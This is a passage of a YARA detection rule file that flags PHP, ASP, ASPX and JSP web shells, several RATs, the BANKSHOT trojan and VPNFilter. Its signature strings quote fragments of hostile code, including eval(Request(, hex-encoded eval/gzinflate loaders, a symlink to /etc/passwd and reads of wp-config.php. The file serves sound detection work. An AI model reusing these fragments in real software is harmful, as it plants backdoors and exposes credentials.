		hash4 = "ba87d26340f799e65c771ccb940081838afe318ecb20ee543f32d32db8533e7f"
		hash5 = "1fdf6e142135a34ae1caf1d84adf5e273b253ca46c409b2530ca06d65a55ecbd"
		id = "80f7d202-adb8-5d9c-b176-576e3b9553c1"

	strings:
		$s0 = "<form method=\"POST\"><input type=hidden name=act value=\"ls\">" fullword ascii
		$s2 = "foreach($quicklaunch2 as $item) {" fullword ascii

	condition:
		filesize < 882KB and all of them
}

rule Webshell_Ayyildiz
{
	meta:
		description = "Detects Webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "0e25aec0a9131e8c7bd7d5004c5c5ffad0e3297f386675bccc07f6ea527dded5"
		hash2 = "9c43aada0d5429f8c47595f79a7cdd5d4eb2ba5c559fb5da5a518a6c8c7c330a"
		hash3 = "2ebf3e5f5dde4a27bbd60e15c464e08245a35d15cc370b4be6b011aa7a46eaca"
		hash4 = "77a63b26f52ba341dd2f5e8bbf5daf05ebbdef6b3f7e81cec44ce97680e820f9"
		hash5 = "61c4fcb6e788c0dffcf0b672ae42b1676f8a9beaa6ec7453fc59ad821a4a8127"
		id = "cc752958-eb6c-5185-b94c-5fcec833924d"

	strings:
		$s0 = "echo \"<option value=\\\"\". strrev(substr(strstr(strrev($work_dir), \"/\"), 1)) .\"\\\">Parent Directory</option>\\n\";" fullword ascii
		$s1 = "echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";" fullword ascii

	condition:
		filesize < 112KB and all of them
}

rule Webshell_zehir
{
	meta:
		description = "Detects Webshell - rule generated from from files elmaliseker.asp, zehir.asp, zehir.txt, zehir4.asp, zehir4.txt"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/nikicat/web-malware-collection"
		date = "2016-01-11"
		score = 70
		hash1 = "16e1e886576d0c70af0f96e3ccedfd2e72b8b7640f817c08a82b95ff5d4b1218"
		hash2 = "0c5f8a2ed62d10986a2dd39f52886c0900a18c03d6d279207b8de8e2ed14adf6"
		hash3 = "cb9d5427a83a0fc887e49f07f20849985bd2c3850f272ae1e059a08ac411ff66"
		hash4 = "b57bf397984545f419045391b56dcaf7b0bed8b6ee331b5c46cee35c92ffa13d"
		hash5 = "febf37a9e8ba8ece863f506ae32ad398115106cc849a9954cbc0277474cdba5c"
		id = "7f8f15a6-1c5b-5c75-b61a-df7b18699f5a"

	strings:
		$s1 = "for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';" fullword ascii
		$s2 = "if (frmUpload.max.value<=0) frmUpload.max.value=1;" fullword ascii

	condition:
		filesize < 200KB and 1 of them
}

rule UploadShell_98038f1efa4203432349badabad76d44337319a6
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "506a6ab6c49e904b4adc1f969c91e4f1a7dde164be549c6440e766de36c93215"
		id = "f385b091-ce0d-5d5b-8eeb-57e00c8d0210"

	strings:
		$s2 = "$lol = file_get_contents(\"../../../../../wp-config.php\");" fullword ascii
		$s6 = "@unlink(\"./export-check-settings.php\");" fullword ascii
		$s7 = "$xos = \"Safe-mode:[Safe-mode:\".$hsafemode.\"] " fullword ascii

	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 6KB and ( all of ( $s* ) ) ) or ( all of them )
}

rule DKShell_f0772be3c95802a2d1e7a4a3f5a45dcdef6997f3
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "7ea49d5c29f1242f81f2393b514798ff7caccb50d46c60bdfcf61db00043473b"
		id = "161ceca6-f5e8-5bcf-bc31-2a2169b1a1c7"

	strings:
		$s1 = "<?php Error_Reporting(0); $s_pass = \"" ascii
		$s2 = "$s_func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on" ascii

	condition:
		( uint16( 0 ) == 0x3c0a and filesize < 300KB and all of them )
}

rule Unknown_8af033424f9590a15472a23cc3236e68070b952e
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "3382b5eaaa9ad651ab4793e807032650667f9d64356676a16ae3e9b02740ccf3"
		id = "fcf467b6-f49a-52d0-a57f-9f3cf6d0b25b"

	strings:
		$s1 = "$check = $_SERVER['DOCUMENT_ROOT']" fullword ascii
		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
		$s3 = "fwrite($fp,base64_decode('" ascii

	condition:
		( uint16( 0 ) == 0x6324 and filesize < 6KB and ( all of ( $s* ) ) ) or ( all of them )
}

rule DkShell_4000bd83451f0d8501a9dfad60dce39e55ae167d
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "51a16b09520a3e063adf10ff5192015729a5de1add8341a43da5326e626315bd"
		id = "804f7229-1440-5a2e-91cd-a58a38b22aa9"

	strings:
		$x1 = "DK Shell - Took the Best made it Better..!!" fullword ascii
		$x2 = "preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x61\\x73\\x65\\x36\\x" ascii
		$x3 = "echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';" fullword ascii
		$s1 = "echo '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">';" fullword ascii
		$s9 = "$x = $_GET[\"x\"];" fullword ascii

	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 200KB and 1 of ( $x* ) ) or ( 3 of them )
}

rule WebShell_5786d7d9f4b0df731d79ed927fb5a124195fc901
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "b1733cbb0eb3d440c4174cc67ca693ba92308ded5fc1069ed650c3c78b1da4bc"
		id = "7958e5fc-5ac5-58bc-8128-0a778e99a4e4"

	strings:
		$s1 = "preg_replace(\"\\x2F\\x2E\\x2A\\x2F\\x65\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6C\\x61\\x74\\x65\\x28\\x62\\x" ascii
		$s2 = "input[type=text], input[type=password]{" fullword ascii

	condition:
		( uint16( 0 ) == 0x6c3c and filesize < 80KB and all of them )
}

rule webshell_e8eaf8da94012e866e51547cd63bb996379690bf
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "027544baa10259939780e97dc908bd43f0fb940510119fc4cce0883f3dd88275"
		id = "8fda9b9f-9a72-5123-91d7-0d0aec9e17bc"

	strings:
		$x1 = "@exec('./bypass/ln -s /etc/passwd 1.php');" fullword ascii
		$x2 = "echo \"<iframe src=mysqldumper/index.php width=100% height=100% frameborder=0></iframe> \";" fullword ascii
		$x3 = "@exec('tar -xvf mysqldumper.tar.gz');" fullword ascii

	condition:
		( uint16( 0 ) == 0x213c and filesize < 100KB and 1 of ( $x* ) ) or ( 2 of them )
}

rule Unknown_0f06c5d1b32f4994c3b3abf8bb76d5468f105167
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "6362372850ac7455fa9461ed0483032a1886543f213a431f81a2ac76d383b47e"
		id = "efd09da2-f232-5a21-99c8-dc2bf00baa73"

	strings:
		$s1 = "$check = $_SERVER['DOCUMENT_ROOT'] . \"/libraries/lola.php\" ;" fullword ascii
		$s2 = "$fp=fopen(\"$check\",\"w+\");" fullword ascii
		$s3 = "fwrite($fp,base64_decode('" ascii

	condition:
		( uint16( 0 ) == 0x6324 and filesize < 2KB and all of them )
}

rule WSOShell_0bbebaf46f87718caba581163d4beed56ddf73a7
{
	meta:
		description = "Detects a web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		hash1 = "d053086907aed21fbb6019bf9e644d2bae61c63563c4c3b948d755db3e78f395"
		id = "92165645-5392-588d-ba2a-5ef6b7499a5a"

	strings:
		$s8 = "$default_charset='Wi'.'ndo.'.'ws-12'.'51';" fullword ascii
		$s9 = "$mosimage_session = \"" fullword ascii

	condition:
		( uint16( 0 ) == 0x3f3c and filesize < 300KB and all of them )
}

rule WebShell_Generic_1609_A
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/bartblaze/PHP-backdoors"
		date = "2016-09-10"
		super_rule = 1
		hash1 = "c817a490cfd4d6377c15c9ac9bcfa136f4a45ff5b40c74f15216c030f657d035"
		hash3 = "69b9d55ea2eb4a0d9cfe3b21b0c112c31ea197d1cb00493d1dddc78b90c5745e"
		id = "4b7db4db-8699-5b4d-ab90-ce79f1160984"

	strings:
		$s1 = "return $qwery45234dws($b);" fullword ascii

	condition:
		( uint16( 0 ) == 0x3f3c and 1 of them )
}

rule Nishang_Webshell
{
	meta:
		description = "Detects a ASPX web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/samratashok/nishang"
		date = "2016-09-11"
		id = "785e6da7-097e-598b-9799-ffe43738d718"

	strings:
		$s1 = "psi.Arguments = \"-noninteractive \" + \"-executionpolicy bypass \" + arg;" ascii
		$s2 = "output.Text += \"\nPS> \" + console.Text + \"\n\" + do_ps(console.Text);" ascii
		$s3 = "<title>Antak Webshell</title>" fullword ascii
		$s4 = "<asp:Button ID=\"executesql\" runat=\"server\" Text=\"Execute SQL Query\"" ascii

	condition:
		( uint16( 0 ) == 0x253C and filesize < 100KB and 1 of ( $s* ) )
}

rule PHP_Webshell_1_Feb17
{
	meta:
		description = "Detects a simple cloaked PHP web shell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://isc.sans.edu/diary/Analysis+of+a+Simple+PHP+Backdoor/22127"
		date = "2017-02-28"
		id = "eedf87c9-2dab-530d-b5d8-a4c2ebc87821"

	strings:
		$h1 = "<?php ${\"\\x" ascii
		$x1 = "\";global$auth;function sh_decrypt_phase($data,$key){${\"" ascii
		$x2 = "global$auth;return sh_decrypt_phase(sh_decrypt_phase($" ascii
		$x3 = "]}[\"\x64\"]);}}echo " ascii
		$x4 = "\"=>@phpversion(),\"\\x" ascii
		$s1 = "$i=Array(\"pv\"=>@phpversion(),\"sv\"" ascii
		$s3 = "$data = @unserialize(sh_decrypt(@base64_decode($data),$data_key));" ascii

	condition:
		uint32( 0 ) == 0x68703f3c and ( $h1 at 0 and 1 of them ) or 2 of them
}

rule Webshell_Tiny_JSP_2
{
	meta:
		description = "Detects a tiny webshell - chine chopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-12-05"
		score = 100
		id = "b628c4f9-eb07-592d-834a-5c94e41987da"

	strings:
		$s1 = "<%eval(Request(" nocase

	condition:
		uint16( 0 ) == 0x253c and filesize < 40 and all of them
}

rule Wordpress_Config_Webshell_Preprend
{
	meta:
		description = "Webshell that uses standard Wordpress wp-config.php file and appends the malicious code in front of it"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-06-25"
		score = 65
		id = "2a432c53-5dee-5a2e-9ccf-9e5d52713af9"

	strings:
		$x1 = " * @package WordPress" fullword ascii
		$s1 = "define('DB_NAME'," ascii
		$s2 = "require_once(ABSPATH . 'wp-settings.php');" ascii
		$fp1 = "iThemes Security Config" ascii

	condition:
		uint32( 0 ) == 0x68703f3c and filesize < 400KB and $x1 and all of ( $s* ) and not $x1 in ( 0 .. 1000 ) and not 1 of ( $fp* )
}

rule PAS_Webshell_Encoded
{
	meta:
		description = "Detects a PAS webshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html"
		date = "2017-07-11"
		score = 80
		id = "6cb547ad-7a97-5c3d-83e1-114ea798ddb8"

	strings:
		$head1 = "<?php $____=" fullword ascii
		$head2 = "'base'.(32*2).'"
		$enc1 = "isset($_COOKIE['___']" ascii
		$enc2 = "if($___!==NULL){" ascii
		$enc3 = ").substr(md5(strrev($" ascii
		$enc4 = "]))%256);$" ascii
		$enc5 = "]))@setcookie('" ascii
		$enc6 = "]=chr(( ord($_" ascii
		$x1 = { 3D 0A 27 29 29 3B 69 66 28 69 73 73 65 74 28 24 5F 43 4F 4F 4B 49 45 5B 27 }
		$foot1 = "value=\"\"/><input type=\"submit\" value=\"&gt;\"/></form>"
		$foot2 = "();}} @header(\"Status: 404 Not Found\"); ?>"

	condition:
		( uint32( 0 ) == 0x68703f3c and filesize < 80KB and ( 3 of them or $head1 at 0 or $head2 in ( 0 .. 20 ) or 1 of ( $x* ) ) ) or $foot1 at ( filesize - 52 ) or $foot2 at ( filesize - 44 )
}

rule ALFA_SHELL
{
	meta:
		description = "Detects web shell often used by Iranian APT groups"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - APT33"
		date = "2017-09-21"
		hash1 = "a39d8823d54c55e60a7395772e50d116408804c1a5368391a1e5871dbdc83547"
		id = "f0be44ec-bff0-5d01-aabd-df7aa05383e3"

	strings:
		$x1 = "$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64')" ascii
		$x2 = "#solevisible@gmail.com" fullword ascii
		$x3 = "'login_page' => '500',//gui or 500 or 403 or 404" fullword ascii
		$x4 = "$GLOBALS['__ALFA__']" fullword ascii
		$x5 = "if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de')" ascii
		$f1 = { 76 2F 38 76 2F 36 76 2F 2B 76 2F 2F 66 38 46 27 29 3B 3F 3E 0D 0A }

	condition:
		( filesize < 900KB and 2 of ( $x* ) or $f1 at ( filesize - 22 ) )
}

rule Webshell_FOPO_Obfuscation_APT_ON_Nov17_1
{
	meta:
		description = "Detects malware from NK APT incident DE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - ON"
		date = "2017-11-17"
		hash1 = "ed6e2e0027d3f564f5ce438984dc8a54577df822ce56ce079c60c99a91d5ffb1"
		id = "0122bb03-8ff0-554d-8fee-458f0ddd7664"

	strings:
		$x1 = "Obfuscation provided by FOPO" fullword ascii
		$s1 = "\";@eval($" ascii
		$f1 = { 22 29 29 3B 0D 0A 3F 3E }

	condition:
		uint16( 0 ) == 0x3f3c and filesize < 800KB and ( $x1 or ( $s1 in ( 0 .. 350 ) and $f1 at ( filesize - 23 ) ) )
}

rule WebShell_JexBoss_JSP_1
{
	meta:
		description = "Detects JexBoss JSPs"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-11-08"
		hash1 = "41e0fb374e5d30b2e2a362a2718a5bf16e73127e22f0dfc89fdb17acbe89efdf"
		id = "4fe7a20b-dc2b-509b-bcf8-e3bfbbe7431a"

	strings:
		$x1 = "equals(\"jexboss\")"
		$x2 = "%><pre><%if(request.getParameter(\"ppp\") != null &&" ascii
		$s1 = "<%@ page import=\"java.util.*,java.io.*\"%><pre><% if (request.getParameter(\""
		$s2 = "!= null && request.getHeader(\"user-agent\"" ascii
		$s3 = "String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>" fullword ascii

	condition:
		uint16( 0 ) == 0x253c and filesize < 1KB and 1 of ( $x* ) or 2 of them
}

rule WebShell_JexBoss_WAR_1
{
	meta:
		description = "Detects JexBoss versions in WAR form"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-11-08"
		hash1 = "6271775ab144ce9bb9138bf054b149b5813d3beb96338993c6de35330f566092"
		hash2 = "6f14a63c3034d3762da8b3ad4592a8209a0c88beebcb9f9bd11b40e879f74eaf"
		id = "0973f6cf-8a5f-5449-812e-36aa6b9939df"

	strings:
		$ = "jbossass" fullword ascii
		$ = "jexws.jsp" fullword ascii
		$ = "jexws.jspPK" fullword ascii
		$ = "jexws1.jsp" fullword ascii
		$ = "jexws1.jspPK" fullword ascii
		$ = "jexws2.jsp" fullword ascii
		$ = "jexws2.jspPK" fullword ascii
		$ = "jexws3.jsp" fullword ascii
		$ = "jexws3.jspPK" fullword ascii
		$ = "jexws4.jsp" fullword ascii
		$ = "jexws4.jspPK" fullword ascii

	condition:
		uint16( 0 ) == 0x4b50 and filesize < 4KB and 1 of them
}

rule webshell_tinyasp
{
	meta:
		author = "Jeff Beley"
		hash1 = "1f29905348e136b66d4ff6c1494d6008ea13f9551ad5aa9b991893a31b37e452"
		description = "Detects 24 byte ASP webshell and variations"
		date = "2019-01-09"
		id = "38b1f61b-e506-59b2-9157-d0345431c429"

	strings:
		$s1 = "Execute Request" ascii wide nocase

	condition:
		uint16( 0 ) == 0x253c and filesize < 150 and 1 of them
}

rule WEBSHELL_ASPX_Mar21_1
{
	meta:
		description = "Detects ASPX Web Shells"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2021-03-12"
		hash1 = "10b6e82125a2ddf3cc31a238e0d0c71a64f902e0d77171766713affede03174d"
		hash2 = "170bee832df176aac0a3c6c7d5aa3fee413b4572030a24c994a97e70f6648ffc"
		hash3 = "31c4d1fc81c052e269866deff324dffb215e7d481a47a2b6357a572a3e685d90"
		hash4 = "41b5c26ac194439612b68e9ec6a638eceaf00842c347ffa551eb009ef6c015a3"
		hash5 = "4b645bc773acde2b3cc204e77ac27c3f6991046c3b75f42d12bc90ec29cff9e3"
		hash6 = "602bb701b78895d4de32f5e78f3c511e5298ba244b29641b11a7c1c483789859"
		hash7 = "7ac47a17c511e25c06a53a1c7a5fbbf05f41f047a4a40b71afa81ce7b59f4b03"
		hash8 = "9a5097d0e8dc29a2814adac070c80fd4b149b33e56aaaf9235af9e87b0501d91"
		hash9 = "9efb5932c0753e45504fc9e8444209b92c2bdf22e63b1c1a44e2d52cb62b4548"
		hash10 = "d40b16307d6434c3281374c0e1bbc0f6db388883e7f6266c3c81de0694266882"
		id = "52884135-6b86-5e3e-a866-36a812d5a9af"

	strings:
		$s1 = ".StartInfo.FileName = 'cmd.exe';" ascii fullword
		$s2 = "<xsl:template match=\"\"/root\"\">" ascii fullword
		$s3 = "<?xml version=\"\"1.0\"\"?><root>test</root>\";" ascii fullword

	condition:
		uint16( 0 ) == 0x253c and filesize < 6KB and all of them
}

import "pe"

rule MAL_ExileRAT_Feb19_1
{
	meta:
		description = "Detects Exile RAT"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://blog.talosintelligence.com/2019/02/exilerat-shares-c2-with-luckycat.html"
		date = "2019-02-04"
		license = "https://creativecommons.org/licenses/by-nc/4.0/"
		hash1 = "3eb026d8b778716231a07b3dbbdc99e2d3a635b1956de8a1e6efc659330e52de"
		id = "f0a510f3-5fea-59a7-8991-9d06dc478b2a"

	strings:
		$x1 = "Content-Disposition:form-data;name=\"x.bin\"" fullword ascii
		$s1 = "syshost.dll" fullword ascii
		$s2 = "\\scout\\Release\\scout.pdb" ascii
		$s3 = "C:\\data.ini" fullword ascii
		$s4 = "my-ip\" value=\"" fullword ascii
		$s5 = "ver:%d.%d.%d" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "da8475fc7c3c90c0604ce6a0b56b5f21" or 3 of them )
}

rule HiddenCobra_BANKSHOT_Gen
{
	meta:
		description = "Detects Hidden Cobra BANKSHOT trojan"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
		date = "2017-12-26"
		modified = "2022-06-10"
		hash1 = "89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486"
		hash2 = "8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247"
		hash3 = "b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24"
		hash4 = "daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75"
		hash5 = "ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699"
		hash6 = "d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff"
		hash7 = "ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9"
		hash8 = "3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6"
		hash9 = "6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca"
		id = "fbf9dd32-cb9a-51f2-bd03-0387fbf44baa"

	strings:
		$s1 = "Mozilla/4.0 (compatible; MSIE 8.0; Win32)" fullword wide
		$s2 = "rHTTP/1.1 200 Connection established" fullword wide
		$s3 = "Proxy-Connection: keep-alive" fullword wide
		$s4 = "\\msncf.dat" wide
		$s5 = "msvcru32.bat" fullword ascii
		$s6 = "reg delete \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v \"%s\" /f" fullword ascii
		$s7 = "MXINFO.DLL" fullword ascii
		$s8 = "usrvc32.bat" fullword ascii
		$s9 = "ping -n 1 127.0.0.1" fullword ascii
		$s10 = "%sd.e%sc \"%s > %s 2>&1\"" ascii fullword
		$s11 = "DWS*.tmp" ascii fullword
		$s12 = "CS*.tmp" fullword wide
		$s13 = "WM*.tmp" fullword wide
		$x1 = "CgpaipIddwspwe32Hnaehsdi" fullword ascii
		$x2 = "RpiPmtiCdopIsgpao" fullword ascii
		$x3 = "RpiLtnodlhOtgpcidgyA" fullword ascii
		$x4 = "LatiQdgHtnrwpDbupci" fullword ascii
		$x6 = "\\system32\\msncf.dat" ascii
		$x7 = "GprthipgHpgktcpCigwSanowpgA" fullword ascii
		$a1 = "live.dropbox.com" fullword ascii
		$a2 = "tatadocomo.yahoo.com" fullword ascii
		$a3 = "widgets.twimg.com" fullword ascii
		$a4 = "history.paypal.com" fullword ascii
		$a5 = "www.bitcoin.org" fullword ascii
		$a6 = "web.whatsapp.com" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( 1 of ( $x* ) or 2 of ( $s* ) or 4 of ( $a* ) )
}

rule Unauthorized_Proxy_Server_RAT
{
	meta:
		author = "US-CERT Code Analysis Team"
		reference = "https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity"
		hash1 = "C74E289AD927E81D2A1A56BC73E394AB"
		hash2 = "2950E3741D7AF69E0CA0C5013ABC4209"
		desscription = "Detects Proxy Server RAT"
		id = "378573e3-17a7-5862-aae5-a8e84102e237"

	strings:
		$s0 = {8A043132C288043125FF00000003C299F73D40404900A14440490003D0413BCF72DE5E5FC3}
		$s1 = {8A04318844241432C28804318B44241425FF00000003C299F73D40404900A14440490003D0413BCF72D65E5FC3}
		$s2 = {8A04318844241432C28804318B44241425FF00000003C299F73D5C394100A16039410003D0413BCF72D65E5FC3}
		$s3 = {8A043132C288043125FF00000003C299F73D5C394100A16039410003D0413BCF72DE5E5FC3}
		$s4 = {B91A7900008A140780F29A8810404975F4}
		$s5 = {399FE192769F839DCE9F2A9D2C9EAD9CEB9FD19CA59F7E9F539CEF9F029F969C6C9E5C9D949FC99F}
		$s6 = {8A04318844241432C28804318B44241425FF00000003C299F73D40600910A14460091003D0413BCF72D65E5FC3}
		$s7 = {3C5C75208A41014184C074183C72740C3C7474083C6274043C2275088A41014184C075DC}
		$s8 = {8B063D9534120077353D59341200722E668B4604663DE8037F24}
		$s9 = {8BC88B74241CC1E1052BC88B7C2418C1E1048B5C241403C88D04888B4C242083F9018944240C7523}
		$s10 = {8B063D9034120077353D59341200722E668B4604663DE8037F246685C0}
		$s11 = {30110FB60148FFC102C20FBEC09941F7F94103D249FFC875E7}
		$s12 = {448BE8B84FECC44E41F7EDC1FA038BCAC1E91F03D16BD21A442BEA4183C541}
		$s13 = {8A0A80F9627C2380F9797F1E80F9647C0A80F96D7F0580C10BEB0D80F96F7C0A80F9787F05}

	condition:
		any of them
}

rule MAL_ELF_VPNFilter_1
{
	meta:
		description = "Detects VPNFilter malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-24"
		hash1 = "f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344"
		id = "dc50cb37-a6e7-5eb5-9581-31d7fd005e47"

	strings:
		$s1 = "Login=" fullword ascii
		$s2 = "Password=" fullword ascii
		$s3 = "%s/rep_%u.bin" fullword ascii
		$s4 = "%s:%uh->%s:%hu" fullword ascii
		$s5 = "Password required" fullword ascii
		$s6 = "password=" fullword ascii
		$s7 = "Authorization: Basic" fullword ascii
		$s8 = "/tmUnblock.cgi" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 100KB and all of them
}

rule MAL_ELF_VPNFilter_2
{
	meta:
		description = "Detects VPNFilter malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-24"
		hash1 = "50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec"
		id = "95356303-e8ba-585d-b2fc-af9e10b0b93f"

	strings:
		$s1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)" fullword ascii
		$s2 = "passwordPASSWORDpassword" fullword ascii
		$s3 = "/tmp/client.key" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 1000KB and all of them
}

rule MAL_ELF_VPNFilter_3
{
	meta:
		description = "Detects VPNFilter malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-24"
		hash1 = "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92"
		hash2 = "9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17"
		hash3 = "37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4"
		hash4 = "0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b"
		hash5 = "4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b"
		hash6 = "8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1"
		hash7 = "776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d"
		id = "020603bf-fbce-5de1-82b9-5a2dfacfada3"

	strings:
		$sx1 = "User-Agent: Mozilla/6.1 (compatible; MSIE 9.0; Windows NT 5.3; Trident/5.0)" fullword ascii
		$sx2 = "Execute by shell[%d]:" fullword ascii
		$sx3 = "CONFIG.TOR.name:" fullword ascii
		$s1 = "Executing command:  %s %s..." fullword ascii
		$s2 = "/proc/%d/cmdline" fullword ascii
		$a1 = "Mozilla/5.0 Firefox/50.0" fullword ascii
		$a2 = "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii
		$a3 = "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0" fullword ascii

	condition:
		uint16( 0 ) == 0x457f and filesize < 1000KB and ( 1 of ( $sx* ) or 2 of ( $s* ) or 2 of ( $a* ) )
}

rule SUSP_ELF_Tor_Client
{
	meta:
		description = "Detects VPNFilter malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-05-24"
